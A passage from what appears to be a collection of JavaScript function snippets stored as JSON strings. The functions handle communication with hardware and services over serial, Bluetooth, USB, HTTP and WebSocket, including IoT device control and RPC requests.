= {\n\t\tmethod: 'POST',\n\t\tbody: JSON.stringify(data), \n\t\theaders:{\n\t\t\t'Content-Type': 'application/json'\n\t\t}\n\t}\n\tfetch('/raspi/' + component, option)\n\t.then(console.log(\"LED actualizado\"));\n}","function sendRequest(sensorType, isSensorOn, dataByte) {\n var newRequest = new XMLHttpRequest();\n newRequest.open(\"POST\", `http://${window.location.host}/pi_data`, true);\n newRequest.setRequestHeader(\"Content-Type\", \"application/json\");\n newRequest.send(\n JSON.stringify({\n sensor: sensorType,\n isSensorOn: isSensorOn,\n mode: dataByte,\n })\n );\n}","function trans_appbin(idx) {\n let btdev = btdevs[idx];\n let seq = btdev.wrtseq;\n\n showProgress(idx);\n\n if (seq >= mrbbin.byteLength / mrb_chunk_size) {\n btdev.wrtseq = -1;\n let buf = [0x07, 0x70, 0x61, 0x73, 0x73, 0x00];\n btdev.bt.write(\"WriteApp\", buf);\n console.log(\"Transfer completed. idx=\" + idx);\n return;\n }\n\n // var binbuf = [0x06, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\n // binbuf[1] = Math.floor(seq / 256);\n // binbuf[2] = seq % 256;\n btdev.binbuf[1] = Math.floor(seq / 256);\n btdev.binbuf[2] = seq % 256;\n\n for (var i=0; i {\n let allData = \"\";\n res.on('data', function(data) { allData += data; });\n res.on('close', function(data) { console.log(\"Closed: \" + allData); }); \n }).end(content);\n}","function sendData() {\n // convert the value to an ASCII string before sending it:\n myPort.write(brightness.toString());\n console.log('Sending ' + brightness + ' out the serial port');\n // increment brightness by 10 points. Rollover if > 255:\n if (brightness < 255) {\n brightness+= 10;\n } else {\n brightness = 0;\n }\n }","function processDeviceCommand(request, response) {\r\n\tvar command = request.headers[\"tplink-command\"]\r\n\tvar deviceIP = request.headers[\"tplink-iot-ip\"]\r\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command\r\n\tconsole.log(respMsg)\r\n\tvar action = request.headers[\"action\"]\r\n\tresponse.setHeader(\"action\", action)\r\n\tvar socket = net.connect(9999, deviceIP)\r\n\tsocket.setKeepAlive(false)\r\n\tsocket.setTimeout(6000)\r\n\tsocket.on('connect', () => {\r\n\t\tsocket.write(TcpEncrypt(command))\r\n\t})\r\n\tsocket.on('data', (data) => {\r\n\t\tsocket.end()\r\n\t\tdata = decrypt(data.slice(4)).toString('ascii')\r\n\t\tresponse.setHeader(\"cmd-response\", data)\r\n\t\tresponse.end()\r\n\t\tvar respMsg = \"Command Response sent to SmartThings\"\r\n\t\tconsole.log(respMsg)\r\n\t}).on('timeout', () => {\r\n\t\tresponse.setHeader(\"cmd-response\", \"TcpTimeout\")\r\n\t\tresponse.end()\r\n\t\tsocket.end()\r\n\t\tvar respMsg = new Date() + \"\\n#### TCP Timeout in deviceCommand for IP: \" + deviceIP + \" ,command: \" + command\r\n\t\tconsole.log(respMsg)\r\n\t\tlogResponse(respMsg)\r\n\t}).on('error', (err) => {\r\n\t\tsocket.end()\r\n\t\tvar respMsg = new Date() + \"\\n#### Socket Error in deviceCommand for IP: \" + deviceIP + \" ,command: \" + command\r\n\t\tconsole.log(respMsg)\r\n\t\tlogResponse(respMsg)\r\n\t})\r\n}","OLDsendFirmware(data) {\n console.log('[3] bleTransport: TODO sendFirmware(data)');\n console.log('[3] bleTransport: data =', data);\n return Promise.resolve();\n /*TODO\n this._emitInitializeEvent(ObjectType.DATA);\n return this.getFirmwareState(data)\n .then(state => {\n this._debug(`Sending firmware: ${state.toString()}`);\n const objects = state.remainingObjects;\n if (state.hasResumablePartialObject) {\n const object = state.remainingPartialObject;\n return this._resumeWriteObject(object, ObjectType.DATA, state.offset, state.crc32).then(progress =>\n this._createAndWriteObjects(objects, ObjectType.DATA, progress.offset, progress.crc32));\n }\n return this._createAndWriteObjects(objects, ObjectType.DATA, state.offset, state.crc32);\n });\n */\n }","sendSendSerialPortsMessageToServer() {\n var message = {};\n this.sendMessageToServer('sendSerialPorts', message);\n }","async enableSimpleHIDMode() {\n const outputReportID = 0x01;\n const subcommand = [0x03, 0x3f];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n }","readFromDevice() {\n this.device.transferIn(5, 64).then(result => {\n const decoder = new TextDecoder();\n this.rstring += decoder.decode(result.data);\n // do a quick JSON smoketest (should do better with decoder/streaming)\n const startIdx = this.rstring.indexOf('{');\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\n const endIdx = this.rstring.indexOf('}');\n if(endIdx > -1) {\n const parseStr = this.rstring.substring(0, endIdx+1);\n this.rstring = this.rstring.substring(endIdx+1);\n try {\n const msg = JSON.parse(parseStr);\n this._handleMessage(msg);\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\n } catch(e) {\n console.log(\"NOT JSON:\",parseStr);\n }\n this.rstring = \"\";\n }\n this.readFromDevice();\n })\n .catch(error => { \n console.log(error);\n this.emitMessage(this.device.serialNumber, \"\");\n this.emitDisconnected(this.device.serialNumber);\n this.device = null;\n this.rstring = \"\";\n });\n }","function arduinoTest() {\n return request;\n}","function cerial() {\n getPortInfo()\n .then( (portDetails) => handleSensor(portDetails))\n .catch((error) => console.log(error));\n // port.write('ROBOT PLEASE RESPOND\\n');\n // The parser will emit any string response\n}","function sendData(blob) {\n\n\t// sends data to flask url /upload_sound as a post with data blob - in format for wav file, hopefully. it is a promise\n\tfetch(\"/upload_sound\", {\n\tmethod: \"post\",\n\tbody: blob\n\t});\n}","function requestDevStatus() {\n if(mConnectedToDev) {\n return;\n }\n\n mNbReqStatusRetry++;\n if(mNbReqStatusRetry >= 6) {\n logger.warn('[ctrl-test] Request device status without response. Stop!');\n return;\n }\n\n devComm.sendStatusReportReq(SelectedGW);\n\n setTimeout(requestDevStatus, 5*1000);\n\n }","async sendBinaryRequest(path, params) {\n if (LibraryUtils.getLogLevel() >= 2) console.log(\"sendBinaryRequest(\" + path + \", \" + JSON.stringify(params) + \")\");\n \n // load wasm module\n await LibraryUtils.loadKeysModule();\n \n // serialize params\n let paramsBin = MoneroUtils.jsonToBinary(params);\n \n try {\n \n // send http request\n let resp = await HttpClient.request({\n method: \"POST\",\n uri: this.getUri() + '/' + path,\n username: this.getUsername(),\n password: this.getPassword(),\n body: paramsBin,\n rejectUnauthorized: this.config.rejectUnauthorized,\n requestApi: GenUtils.isFirefox() ? \"xhr\" : \"fetch\"\n });\n \n // validate response\n MoneroRpcConnection.validateHttpResponse(resp);\n \n // process response\n resp = resp.body;\n if (!(resp instanceof Uint8Array)) {\n console.error(\"resp is not uint8array\");\n console.error(resp);\n }\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\n return resp;\n } catch (err) {\n if (err instanceof MoneroRpcError) throw err;\n else throw new MoneroRpcError(err, undefined, path, params);\n }\n }","function transmitAudioHexBytes(audioBlob) {\n\tvar myReader = new FileReaderSync(); // FIX - Firefox does not support\n\t\t\t\t\t\t\t\t\t\t\t// FileReader()\n\tvar arrayBuffer = myReader.readAsArrayBuffer(audioBlob);\n\tvar binaryHexData = buildMessage(\"DATA\", \"\");\n\tvar view = new DataView(arrayBuffer);\n\tvar viewLen = view.byteLength;\n\tfor (var i = 0; i < viewLen; binaryHexData += (\"00\" + view.getUint8(i++)\n\t\t\t.toString(16)).substr(-2).toUpperCase())\n\t\t;\n\tconsole.log(\"socketSend@main \" + binaryHexData.length);\n\twsSnd.send(binaryHexData);\n}","function chromeAppMessageHandler(response) {\n console.debug(response);\n switch (response.responder) {\n case \"list\":\n const list_html = generateDropDownList(response.data);\n document.querySelector(\"#device-select\").innerHTML = list_html;\n document.querySelector(\"#device-select\").dispatchEvent(change_event);\n break;\n case \"connect\":\n device_connected = true;\n $(\"#connect\")\n .removeClass(\"btn-outline-success\")\n .addClass(\"btn-outline-danger\")\n .text(\"Disconnect\");\n document.querySelector(\"#baudrate\").setAttribute(\"disabled\", \"disabled\");\n document\n .querySelector(\"#device-select\")\n .setAttribute(\"disabled\", \"disabled\");\n break;\n case \"disconnect\":\n // TODO(kammce): Actually evaluate that the device has connected properly\n device_connected = false;\n table_init = false;\n telemetry_raw = \"\\r\\n\";\n $(\"#connect\")\n .addClass(\"btn-outline-success\")\n .removeClass(\"btn-outline-danger\")\n .text(\"Connect\");\n document.querySelector(\"#baudrate\").removeAttribute(\"disabled\");\n document.querySelector(\"#device-select\").removeAttribute(\"disabled\");\n $(\"#refresh\").click();\n break;\n case \"update\":\n break;\n case \"read\":\n term.write(response.data.replace(/\\n/g, \"\\r\\n\"));\n break;\n default:\n console.warn(\"Unknown response\");\n break;\n }\n}","_pingDevice () {\n this._ble.read(\n BoostBLE.service,\n BoostBLE.characteristic,\n false\n );\n }","sendFormatDataResponsePDU() {\n\n const bufs = Buffer.from(this.content + '\\x00', 'ucs2');\n\n this.send(new type.Component({\n msgType: new type.UInt16Le(data.ClipPDUMsgType.CB_FORMAT_DATA_RESPONSE),\n msgFlags: new type.UInt16Le(0x01),\n dataLen: new type.UInt32Le(bufs.length),\n requestedFormatData: new type.BinaryString(bufs, { readLength: new type.CallableValue(bufs.length) })\n }));\n\n }","function HandleData(data)\n{\n var avrNum = this.avrNum;\n if (avrNum == null) {\n Log('Data from unknown device!');\n return;\n }\n var str = data.toString();\n // wait for null at end of string\n var j = str.indexOf('\\0');\n if (j > -1) str = str.substr(0, j); // remove null\n // process each response separately\n var lines = str.split(\"\\n\");\n var id;\n for (j=0; j= 4 && str.substr(1,1) == '.') {\n id = str.substr(0,1);\n str = str.substr(2);\n }\n if (id != 'e') {\n if (str.substr(0,2) != 'OK') {\n Log('AVR'+avrNum, 'Bad response:', str);\n continue;\n }\n str = str.substr(3);\n }\n // ignore truncated responses (may happen at startup if commands\n // were sent before AVR was fully initialized)\n if (!id) continue;\n avrOK[avrNum] = 1;\n avrNum = HandleResponse(avrNum, id, str);\n }\n}","function appxsendfilehandler(x) {\r\n if (appxIsLocalReady()) {\r\n switch (x.messagepart) {\r\n case -1:\r\n var msgfilenamedata = [];\r\n var filepath = appx_session.currsendfile.filename;\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"Saving File...\");\r\n appx_session.currsendfile.filedata = [];\r\n setTimeout(function setTimeout1() {\r\n //send client file path length\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: hton32(filepath.length),\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n //send client file path\r\n for (var vi = 0; vi < filepath.length; vi++) {\r\n msgfilenamedata.push(filepath.charCodeAt(vi));\r\n }\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: msgfilenamedata,\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n //send client status EOF\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: [3, 1],\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"File Download Complete...\");\r\n setTimeout(function setTimeout2() {\r\n if ($(\"#appx-status-msg\").html() === \"File Download Complete...\") {\r\n appxClearStatusMsgText();\r\n }\r\n }, 1000);\r\n }, appx_session.currsendfile.blocksreceived * 1); //end setTimeout\r\n\r\n break;\r\n case 3:\r\n appx_session.currsendfile.filename = x.data.filename;\r\n appx_session.currsendfile.guid = Math.floor((Math.random() * 1000000) + 1);\r\n appx_session.currsendfile.filedatareceived = 0;\r\n appx_session.currsendfile.blocksreceived = 0;\r\n appx_session.currsendfile.datalengthneeded = x.data.datalength;\r\n if (appx_session.currsendfile.filename.indexOf(\"$(\") > -1) {\r\n appx_session.currsendfile.filename = appx_session.parseOption(appx_session.currsendfile.filename);\r\n }\r\n else {\r\n appx_session.currsendfile.filename = appx_session.currsendfile.filename;\r\n }\r\n if (appx_session.currsendfile.filename.indexOf(\"/\") == -1 && appx_session.currsendfile.filename.indexOf(\"\\\\\") == -1) {\r\n appx_session.currsendfile.filename = appx_session.parseOption(\"$(userHome)\" + appx_session.fileseparatorchar + appx_session.currsendfile.filename);\r\n }\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"Creating File: \" + appx_session.currsendfile.filename);\r\n appx_session.currsendfile.filecreated = false;\r\n CreateFile(appx_session.currsendfile);\r\n break;\r\n case 5:\r\n appx_session.currsendfile.blocksreceived += 1;\r\n appx_session.currsendfile.filedatareceived += x.data.length;\r\n appxClearStatusMsgText();\r\n appxSetStatusText(\"File Downloading... Received: \" + appx_session.currsendfile.filedatareceived + \" Bytes of \" + appx_session.currsendfile.datalengthneeded.toString() + \" Needed\");\r\n AppendFile(x.data);\r\n break;\r\n\r\n default:\r\n //append data to file via local connector\r\n break;\r\n }\r\n }\r\n else {\r\n //send client status EOF\r\n if (x.messagepart != -1) {\r\n var ms = {\r\n cmd: 'appxmessage',\r\n args: [0, 0],\r\n handler: 'appxsendfilehandler',\r\n data: null\r\n };\r\n appx_session.ws.send(JSON.stringify(ms));\r\n }\r\n }\r\n}","function readSerialData(data) {\n console.log(data.toString());\n sendit({method: 'data', data: data.toString()});\n}","function performPowerActionResponse(stack, name, responses, status) {\n const dev = stack.dev;\n const action = dev.powerAction;\n delete dev.powerAction;\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\n if (status != 200) return;\n\n // If this is Intel AMT 10 or higher and we are trying to wake the device, send an OS wake.\n // This will wake the device from \"Modern Standby\".\n if ((action == 2) && (dev.aquired.majorver > 9)) {\n try { dev.amtstack.RequestOSPowerStateChange(2, function (stack, name, response, status) { }); } catch (ex) { }\n }\n }","async function sendPicture() {\n const req = {\n imagebytes: bas64,\n }\n alert('Enviado com sucesso');\n }","async function enableBloodPressure() {\n const command = hexToBase64(\"55 aa 04 02 01 f8\");\n // console.log(\"TCL: enableBloodPressure -> command\", command)\n const didWrite = await Bluetooth.writeToDevice(command);\n // console.log(\"TCL: enableBloodPressure -> didWrite\", didWrite)\n return didWrite;\n}","function transferByte(b) {\n\treturn new Promise((resolve, reject) => {\n\t\tlet txBuff = new Buffer([reverseByte(b)]);\n\t\tlet rxBuff = new Buffer(1);\n\t\tRPIO.spiTransfer(txBuff, rxBuff, 1);\n resolve(reverseByte(rxBuff[0]));\n\t});\n}","function fx000(res) {\n global.clog(\"[ss_reqHan][fx000][SENT]\");\n res.writeHead(200, { \"Content-Type\": \"audio/wav\" }); \n var sendingfile = fs.readFileSync(views.sfx() + '/fx000.wav');\n res.write(sendingfile);\n res.end();\n}","async function requestBLEDevice(){\n let result = Promise.resolve()\n if (ble.connected == false){\n console.log('Requesting ble device...')\n wdm('Requesting bluetooth device list')\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\n\n try{\n device = await navigator.bluetooth.requestDevice(options)\n console.log(\"found a device\",device)\n console.log(device.name)\n console.log(device.uuids)\n var textstr = \"found a device name: \" + device.name + \"
\" + \"id: \" + device.id\n ble.statustext = textstr\n \n ble.device=device\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\n }\n catch(error){\n if (ble.connected == false){\n var textstr = 'Still waiting for user to select device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n return error\n }\n }\n }\n return result\n}","inbound(count, obj) {\n console.log(`vat-http.inbound (from browser) ${count}`, obj);\n const p = Promise.resolve(handler[obj.type](obj));\n p.then(\n res => D(commandDevice).sendResponse(count, false, harden(res)),\n rej => D(commandDevice).sendResponse(count, true, harden(rej)),\n );\n }","function send_button_state(hex_state) {\n $.ajax({\n url: \"webpower/set/\" + hex_state,\n success: function() {\n console.log(\"sent: \" + hex_state)\n },\n });\n }","actuateBell(req, res) {\n const keyValuePairs = req.body.split('|') || [''];\n const command = getUltralightCommand(keyValuePairs[0]);\n const deviceId = 'bell' + req.params.id;\n const result = keyValuePairs[0] + '| ' + command;\n\n if (IoTDevices.notFound(deviceId)) {\n return res.status(404).send(result + NOT_OK);\n } else if (IoTDevices.isUnknownCommand('bell', command)) {\n return res.status(422).send(result + NOT_OK);\n }\n\n // Update device state\n IoTDevices.actuateDevice(deviceId, command);\n return res.status(200).send(result + OK);\n }","send(msg) {\n if (this.connectionId < 0) {\n throw 'Invalid connection';\n }\n chrome.serial.send(this.connectionId, str2ab(msg), function () {\n });\n }","function sendPost(data, callback) {\nvar options = {\n host: 'ws.audioscrobbler.com',\n path: '/2.0/',\n method: 'POST',\n headers: {\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Length': data.length\n }\n }\n , doPOST = http.request(options, function(request) {\n var reqReturn = ''\n request.setEncoding('utf8')\n request.on('data', function(chunk) {\n reqReturn += chunk\n })\n request.on('end', function() {\n // console.log('[POST RESPONSE] : ' + reqReturn)\n if (typeof(callback) == 'function')\n callback(reqReturn)\n })\n }).on('error', function(err) {\n // TODO\n })\ndoPOST.write(data)\ndoPOST.end()\n}","function sendPostResponse() {\n\t\t\t\t\t\n\t\t\t\t\tvar delaySend = false;\n\t\t\t\t\t// build appropriate response\n\t\t\t\t\tswitch(command) {\n\t\t\t\t\t\tcase 'end':\n\t\t\t\t\t\tcase 'continue':\n\t\t\t\t\t\t\tutils.info('server : Building \"continue\" response');\n\t\t\t\t\t\tcase 'start':\n\t\t\t\t\t\t\tmessage = {Op:'ok', id:deviceId};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t\tcase 'device_ready':\n\t\t\t\t\t\t\tutils.info('server : Building \"device_ready\" response:');\n\t\t\t\t\t\t\tvar task = device.taskGroup.getNextTest();\n\t\t\t\t\t\t\tif(task) {\n\t\t\t\t\t\t\t\tutils.info('\\tSending next task: ' + task);\n\t\t\t\t\t\t\t\tmessage = {Op:'ok', test:task};\n\t\t\t\t\t\t\t} else { // no more tasks, report\n\n\t\t\t\t\t\t\t\tutils.info('server : Is test done: ' + clientConnection.isTestDone);\n\t\t\t\t\t\t\t\tif(!clientConnection.isTestDone) {\n\t\t\t\t\t\t\t\t\tutils.info('server : setting istestdone to true');\n\t\t\t\t\t\t\t\t\tclientConnection.isTestDone = true;\n\t\t\t\t\t\t\t\t\tclientConnection.reporter.createReport();\n\t\t\t\t\t\t\t\t\tif(File.exists(path.join(END_GAME_LOCATION, 'Code', 'Main.js'))) {\n\t\t\t\t\t\t\t\t\t\tutils.info('\\tSending EndGame');\n\t\t\t\t\t\t\t\t\t\tmessage = {Op:'ok', test:'/' + END_GAME_LOCATION};\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tutils.info('is the next test ready?',\n\t\t\t\t\t\t\t\t clientConnection.isNextTestReady);\n\t\t\t\t\t\t\t\tif(clientConnection.isNextTestReady) {\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tclientConnection.isTestDone = false;\n\t\t\t\t\t\t\t\t\tclientConnection.isNextTestReady = false;\n\t\t\t\t\t\t\t\t\tdevice.taskGroup.restart();\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tutils.info('\\tNo more tasks.');\n\t\t\t\t\t\t\t\t\tmessage = {Op:'nada'};\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'sdk_social_test_start':\n\t\t\t\t\t\t\tutils.info('Adding US Social test set');\n\t\t\t\t\t\t\tdevice.addToTaskGroup(AUTO_SDK_SOCIAL_TEST_LOC);\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'social_test_start':\n\t\t\t\t\t\t\tutils.info('setting tests to social_test_start');\n\t\t\t\t\t\t\tdevice.setTaskGroup('Social_Tests', AUTO_SOCIAL_TEST_LOC);\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'task_finished':\n\t\t\t\t\t\tcase 'log_start':\n\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 'log_end':\n\t\t\t\t\t\t\t// hold off on sending response if previous messages\n\t\t\t\t\t\t\t// have yet to be received\n\t\t\t\t\t\t\tif(clientConnection.isLogFinished()) {\n\t\t\t\t\t\t\t\tmessage = {Op:'ok'};\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t// if previous message never gets resent, we need to send\n\t\t\t\t\t\t\t\t// the response after a timeout\n\t\t\t\t\t\t\t\tif(delaySend === false) {\n\t\t\t\t\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\t\t\t\t\tif(clientConnection.isDelayedResponseSet() === true) {\n\t\t\t\t\t\t\t\t\t\t\tutils.info('Did not receive all past messages in 2 minutes --> sending response (' + deviceId + ')');\n\t\t\t\t\t\t\t\t\t\t\tclientConnection.flush();\n\t\t\t\t\t\t\t\t\t\t\tclientConnection.sendDelayedResponse();\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}, 120000);\n\t\t\t\t\t\t\t\t\tdelaySend = true;\n\t\t\t\t\t\t\t\t\tclientConnection.setDelayedResponse(response);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tmessage = '';\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\tif(!delaySend) {\n\t\t\t\t\t\tsendResponse(200, message);\n\t\t\t\t\t}\n\n\t\t\t\t}","function transmit(fullBuffer) {\n\twsSnd.send(\"\" + fullBuffer.length + \" \");\n\tvar siz = 2048;\n\tvar idx, tmpBuf;\n\tfor (idx = 0; idx <= fullBuffer.length; idx += siz) {\n\t\ttmpBuf = fullBuffer.slice(idx, idx + siz);\n\t\twsSnd.send(tmpBuf);\n\t}\n\tif (idx != fullBuffer.length) {\n\t\ttmpBuf = fullBuffer.slice(idx, fullBuffer.length);\n\t\twsSnd.send(tmpBuf);\n\t}\n\twsSnd.send(\" \");\n\tconsole.log(\"TRANSMIT START\");\n}","function btn_OnTouch() {\n bt.Connect(\"SerialBT\");\n}","XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\n return new Promise((resolve, reject) => {\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\n console.log(\"Sending 'START DFU' command\");\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\n .then( () => this._send_packet_data(image_size_packet) )\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\n //TODO .then( () => this._clear_received_response() )\n });\n }","function systemCommandResponseCallback(error, stdout, stderr)\n {\n var responseString =\n 'stdout: ' + pipeToString(stdout)\n + 'stderr: ' + pipeToString(stderr)\n + 'error: ' + error;\n\n \t// Write the response and close the request\n\t\tserverResponse.writeHead(200, { \"Content-Type\": \"text/plain\" });\n\t\tserverResponse.end(\"RPi RESPONSE:\\n\" + responseString);\n serverResponse.end();\n }","async postAPI(url, values) {\n\t\tthis.log.debug('Post API called for : ' + url + ' and values : ' + JSON.stringify(values));\n\t\ttry {\n\t\t\tconst result = axios.post(url, values)\n\t\t\t\t.then((response) => {\n\t\t\t\t\treturn response.data;\n\t\t\t\t})\n\t\t\t\t.catch((error) => {\n\t\t\t\t\tthis.log.error('Sending command to WLED device + ' + url + ' failed with error ' + error);\n\t\t\t\t\treturn error;\n\t\t\t\t});\n\t\t\treturn result;\n\t\t} catch (error) {\n\t\t\tthis.log.error(error);\n\t\t}\n\t}","function onRequest(request, response){\r\n\tvar command = request.headers[\"command\"]\r\n\tvar deviceIP = request.headers[\"tplink-iot-ip\"]\r\n\tvar cmdRcvd = \"\\n\\r\" + new Date() + \"\\r\\nIP: \" + deviceIP + \" sent command \" + command\r\n\tconsole.log(\" \")\r\n\tconsole.log(cmdRcvd)\r\n\tswitch(command) {\r\n\t\t//---- (BridgeDH - Poll for Server APP ------------------\r\n\t\tcase \"pollServer\":\r\n\t\t\tresponse.setHeader(\"cmd-response\", \"ok\")\r\n\t\t\tresponse.end()\r\n\t\t\tvar respMsg = \"Server Poll response sent to SmartThings\"\r\n\t\t\tconsole.log(respMsg)\r\n\t\tbreak\r\n\r\n\t\t//---- TP-Link Device Command ---------------------------\r\n\t\tcase \"deviceCommand\":\r\n\t\t\t//----- Simulated power data Selection ----------------------\r\n\t\t\tvar command = request.headers[\"tplink-command\"]\r\n\t\t\tvar action = request.headers[\"action\"]\r\n\t\t\tif (action == \"onWatts\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"energyMeterResponse\")\r\n\t\t\t\tresponse.setHeader(\"cmd-response\", onWatts)\r\n\t\t\t\tresponse.end()\r\n\t\t\t} else if (action == \"offWatts\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"energyMeterResponse\")\r\n\t\t\t\tresponse.setHeader(\"cmd-response\", offWatts)\r\n\t\t\t\tresponse.end()\r\n\t\t\t} else {\r\n\t\t\t//----- Real data ----------------------\r\n\t\t\t\tprocessDeviceCommand(request, response)\r\n\t\t\t}\r\n\t\t\tbreak\r\n\t\r\n\t\t//---- Energy Meter Simulated Data Return ---------------\r\n\t\tcase \"emeterCmd\":\r\n\t\t\tvar action = request.headers[\"action\"]\r\n\t\t\tvar engrCmd = action.substring(0,3)\r\nconsole.log(\"engrCmd = \" + engrCmd)\r\n\t\t\tvar engrData = action.substring(3)\r\nconsole.log(\"engrData = \" + engrData)\r\n\t\t\tif (engrCmd == \"Con\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"useTodayResponse\")\r\n\t\t\t} else {\r\n\t\t\t\tresponse.setHeader(\"action\", \"engrStatsResponse\")\r\n\t\t\t}\r\n\t\t\tvar respData = \"\"\r\n\t\t\tswitch(engrData) {\r\n\t\t\t\tcase \"DecWatts\":\r\n\t\t\t\t\trespData = DecWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"DecMWatts\":\r\n\t\t\t\t\trespData = DecMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"JanWatts\":\r\n\t\t\t\t\trespData = JanWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"JanMWatts\":\r\n\t\t\t\t\trespData = JanMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"FebWatts\":\r\n\t\t\t\t\trespData = FebWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"FebMWatts\":\r\n\t\t\t\t\trespData = FebMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"MarWatts\":\r\n\t\t\t\t\trespData = MarWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"MarMWatts\":\r\n\t\t\t\t\trespData = MarMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day1Watts\":\r\n\t\t\t\t\trespData = Day1Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day1MWatts\":\r\n\t\t\t\t\trespData = Day1MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day2Watts\":\r\n\t\t\t\t\trespData = Day2Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day2MWatts\":\r\n\t\t\t\t\trespData = Day2MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day3Watts\":\r\n\t\t\t\t\trespData = Day3Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day3MWatts\":\r\n\t\t\t\t\trespData = Day3MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tdefault:\r\n\t\t\t\t\tbreak\r\n\t\t\t}\r\nconsole.log(respData)\r\n\t\t\tresponse.setHeader(\"cmd-response\", respData)\r\n\t\t\tresponse.end()\r\n\t\t\tbreak\r\n\t\tdefault:\r\n\t\t\tresponse.setHeader(\"cmd-response\", \"InvalidHubCmd\")\r\n\t\t\tresponse.end()\r\n\t\t\tvar respMsg = \"#### Invalid Command ####\"\r\n\t\t\tvar respMsg = new Date() + \"\\n\\r#### Invalid Command from IP\" + deviceIP + \" ####\\n\\r\"\r\n\t\t\tconsole.log(respMsg)\r\n\t\t\tlogResponse(respMsg)\r\n\t}\r\n}","start() {\n let constraints = {\n video: {\n facingMode: 'user',\n height: { min: 360, ideal: 720, max: 1080 },\n deviceId: localStorage.getItem('deviceId')\n },\n audio: true\n };\n\n // navigator.mediaDevices.enumerateDevices()\n // .then(dd=> { \n // dd.map(device => {\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\n // constraints.video.deviceId = device.deviceId;\n // }\n // })\n // }) \n\n // navigator.usb.requestDevice({filters:[]})\n // .then(selectedDevice => {\n // device = selectedDevice;\n // console.log('selectedDevice', device, selectedDevice);\n // return device.open(); // Begin a session.\n // })\n // .then(() => {\n // console.log('daada', device.selectConfiguration);\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\n // .then(() => {\n // console.log('daada', device.claimInterface);\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\n // .then(() => {\n // console.log('daada', device.controlTransferOut);\n // 